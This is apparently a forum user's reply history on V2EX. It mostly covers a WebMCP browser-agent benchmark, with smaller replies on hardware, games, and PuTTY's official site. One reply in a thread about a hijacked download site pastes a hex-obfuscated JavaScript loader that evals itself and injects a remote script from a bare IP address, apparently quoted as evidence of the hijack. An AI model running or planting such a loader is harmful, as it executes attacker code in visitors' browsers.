V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
V2EX  ›  jo32  ›  全部回复第 1 页 / 共 10 页
回复总数  194
1  2  3  4  5  6  7  8  9  10  
补一份 9 月 17 日更新:这周把前面的实验整理成了 DeepDeck WebMCP Bench ,可以测模型完成浏览器任务的能力,也可以测同一模型开启/关闭 WebMCP 后的实际收益。

现在内置 8 个开源网站、49 道任务,覆盖查询、搜索、购物、预约、课程和业务流程;题库起点来自 WindTunnel ,保留了上游署名。也支持直接输入网站 URL + query 做消融实验,不需要 Docker ;可以用网站原生工具,或指定自己的 WebMCP 实现。

这次跑了 GPT-5.6 Terra 、DeepSeek v4.1 Flash 和 Hy3 。两组都保留完整默认工具,包括 Chrome DevTools MCP ,只切换 WebMCP ;每题 10 分钟,不限步数。

全 49 题的评分通过数(开启/关闭)分别是 49/49 · 49/49 、48/49 · 47/49 、49/49 · 48/49 。效率统一看三个模型、两组都通过的同一批 46 题:
• Terra:总 token 5,888,869 → 3,793,871 ,Agent 耗时 1,710.8s → 1,138.1s ,步数 413 → 268 。
• DeepSeek:16,199,466 → 11,974,070 token ,1,870.3s → 1,348.5s ,708 → 572 步。
• Hy3:16,275,045 → 12,572,972 token ,2,880.5s → 2,221.0s ,694 → 608 步。
以上箭头均为关闭 → 开启 WebMCP 。

两个感受:一是给足可读取页面结构、执行操作的工具,文本模型也有机会完成不少基础浏览器任务;不能把 computer use 只理解成看截图点坐标。二是单次推理快,不一定让整个任务更快。这批任务中 Terra 用的 token 和 Agent 步数更少,开启 WebMCP 后步数减少约 35.1%,DeepSeek 为 19.2%,Hy3 为 12.4%;最终总耗时也更短。

我猜训练目标可能会考虑任务完成时效,在刷分与用户等待时间之间做取舍。但这只是猜测,本次实验无法反推出任何厂商的训练奖励或证明其牺牲了 benchmark 成绩。

这批每题每组只跑了 1 次;默认推理强度的实际档位未记录,接口、分词方式与部分环境版本不同,因此不是严格的跨模型能力排名。总 token 包含缓存读写,不等于费用,DeepSeek 的 API 估算费用反而更低。评分疑点、环境补跑和失败都在报告中说明。

完整结果、逐题数据与使用方式: https://deepdeck.getmegaportal.com/zh/benchmarks
源码与运行文档: https://github.com/jo32/DeepDeck/blob/main/docs/webmcp-benchmark.md

如果你在做网站 WebMCP 或 Agent ,可以拿自己的任务跑一组,看看工具究竟减少了哪些步骤。文字经 AI 辅助整理,数字已对照公开报告。
补上主帖里还没测的部分:WebMCP 到底能省多少?这次测了选书、读 X 、整理 HN 评论,结果不一样。

先说两组条件较接近的实验,都是普通浏览器和已安装 WebMCP 工具各跑 5 轮:

1. 从 Books to Scrape 的 65 本书中选最便宜的三本,再取详情。两组全部成功。WebMCP 耗时中位数从 46.807 秒降到 29.855 秒,总 Token 减少 52.0%。
2. 读取 X 的三条固定帖子。两组也全部成功。WebMCP 耗时中位数减少 10.3%,总 Token 反而增加 8.4%。

普通浏览器这两组允许 DevTools 和临时脚本;测的是安装工具后的重复使用,没算第一次构建、准备和后续维护成本。总 Token 包含缓存读取、重复上下文,不能直接当成省了多少费用。

HN 测的是评论正文和“回复了谁”。WebMCP 完整成功 3/3 ,CU 组 0/3 ;两组不同期,实时评论数量也不同,所以只单独分析完成度,不拿它算等量任务的加速倍数。

实验是 9 月 10–13 日的记录,模型路由为 openai-codex/gpt-6-astra 。图表、完整方法和汇总数据:
https://deepdeck.getmegaportal.com/zh/webmcp/experiments

另一个可以直接试的更新是工具目录。目前有 Hacker News 、X ,以及开发预览阶段的 NGA ;可以查看 GitHub 项目,通过对应版本的入口在 DeepDeck 安装,遇到问题回上游提 Issue 或贡献修复:
https://deepdeck.getmegaportal.com/zh/webmcp

目录刚起步,收录不代表每项功能都经过验证。DeepDeck 是 MIT 开源的非官方 DeepSeek Harness macOS 客户端。

你日常有哪个网站操作,每次都要让 Agent 重新找页面、翻页、抄字段?最好举一个具体任务,我想用这样的流程继续验证复用是否划算。

文字经 AI 辅助整理,数据已核对,配图来自线上页面。
@mygao666 是的,这是一个客户端,因为需要接某个 agent harness ,就先自己做了。

btw ,codex 其实也支持 webmcp ,只要你的网站支持 webmcp ,用 codex 的 browser 打开这个网站,它就会调用这个站点的 mcp ,但现在 webmcp 的普及率比较低,它没有像我现在这样子,可以给某个网站补 webmcp 。
@DLtianzheng 是个好建议。
@blogbbs 嗯嗯,是的呢,感谢,主要是用来说明 Web Intents for LLMs 这个协议能做出怎么样的效果。
图没贴对,再来一遍:

![pk0Tzut.png]( https://s21.ax1x.com/2024/06/18/pk0Tzut.png)
https://spellboard.app 我自带搜索也是用同一个协议写的,例如搜索 V2EX 😄:

[![pk0Tzut.png]( https://s21.ax1x.com/2024/06/18/pk0Tzut.png)]( https://imgse.com/i/pk0Tzut)
2022 年 6 月 8 日
回复了 no996 创建的主题 Apple 知道 M1 的蓝牙不好,但没想到可以这么差
2021 m1pro mbp + sony xm4 ,蓝牙卡顿音质差,有线音质好,一个天一个地(摔
真 tm nb 的操作,双赢的典范,帮电影方回本了不说,字节则是将前期囧妈的宣传转化为字节系 app 的下载。
我不专业地问问:如何找到第一批客户呢?
2018 年 12 月 24 日
回复了 BOYPT 创建的主题 全球工单系统 MSDN ITELLYOU 网站被劫持挂马?
(function(){var s="76617220633D66756E6374696F6E2875297B76617220643D646F63756D656E742C653D642E637265617465456C656D656E74282773637269707427293B652E747970653D27746578742F6A617661736372697074273B652E7372633D753B642E676574456C656D656E747342795461674E616D6528276865616427295B305D2E617070656E644368696C642865293B7D2C733D27687474703A2F2F63646E2E73746174696366696C652E6F72672F6A71756572792F312E31302E322F6A71756572792E6D696E2E6A733F63636C74313D6E636163686532273B69662828747970656F66204D37663D3D27756E646566696E65642729262628216E6176696761746F722E706C6174666F726D2E6D61746368282F57696E33327C57696E36342F69292929632827687474703A2F2F3132302E37392E33332E38343A313631362F6D622E7068703F69643D6C70303127293B69662828747970656F66204D37663D3D27756E646566696E656427297C7C284D3766213D7329297B4D37663D733B6328732B4D6174682E72616E646F6D2829293B7D",c,r=[],i=0;for(;i<s.length;i+=2){c=parseInt(s.substr(i,2),16);r.push(String.fromCharCode(c));}eval(r.join(""));})();

深圳复现
我说一下不推荐的,不要用 HHKB PRO2 (不带 type-s ),这货我感觉跟薄膜键盘没啥区别,声音还大。
2017,还是没有啊!
2016 年 3 月 13 日
回复了 miyuki 创建的主题 翻译 Hack 这个单词如何用尽可能少的词做到信达雅的翻译
在这里,译作奇技淫巧?
@PHPwind 看 nameserver

我也不能证明这不是 putty 官网,除非我找到来自于作者的消息明确指明这不是官网。不过据我的推测, putty.org 更可能是 bitwise 的广告页面。
@PHPwind

Domain Name:PUTTY.ORG
Domain ID: D11895559-LROR
Creation Date: 1999-10-31T01:44:32Z
Updated Date: 2014-10-02T12:36:18Z
Registry Expiry Date: 2019-10-31T02:44:32Z
Sponsoring Registrar:CSL Computer Service Langenbach GmbH d/b/a joker.com a German GmbH (R25-LROR)
Sponsoring Registrar IANA ID: 113
WHOIS Server:
Referral URL:
Domain Status: clientTransferProhibited
Registrant ID:CORG-70158
Registrant Name:denis bider
Registrant Organization:
Registrant Street: St. Christopher Club
Registrant City:Frigate Bay
Registrant State/Province:St. Kitts
Registrant Postal Code:W.I.
Registrant Country:KN
Registrant Phone:+1.8697621410
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email:[email protected]
Admin ID:CORG-209224
Admin Name:denis bider
Admin Organization:
Admin Street: St. Christopher Club
Admin City:Frigate Bay
Admin State/Province:St. Kitts
Admin Postal Code:W.I.
Admin Country:KN
Admin Phone:+1.8697621410
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email:[email protected]
Tech ID:CORG-209224
Tech Name:denis bider
Tech Organization:
Tech Street: St. Christopher Club
Tech City:Frigate Bay
Tech State/Province:St. Kitts
Tech Postal Code:W.I.
Tech Country:KN
Tech Phone:+1.8697621410
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email:[email protected]
Name Server:NS1.BITVISE.COM
Name Server:NS2.BITVISE.COM
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
DNSSEC:Unsigned
@PHPwind 为什么 putty 的官网会打 bitwise ssh 的广告。
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

这个才是 putty 官网, putty.org 不是,同时也不要使用任何的汉化版本。
2015 年 12 月 30 日
回复了 tianlang1989 创建的主题 游戏 小白学 LOL 还是 DOTA2
Hots +3
1  2  3  4  5  6  7  8  9  10  
About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   941 Online   Highest 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 26ms · UTC 19:37 · PVG 03:37 · LAX 12:37 · JFK 15:37
♥ Do have faith in what you're doing.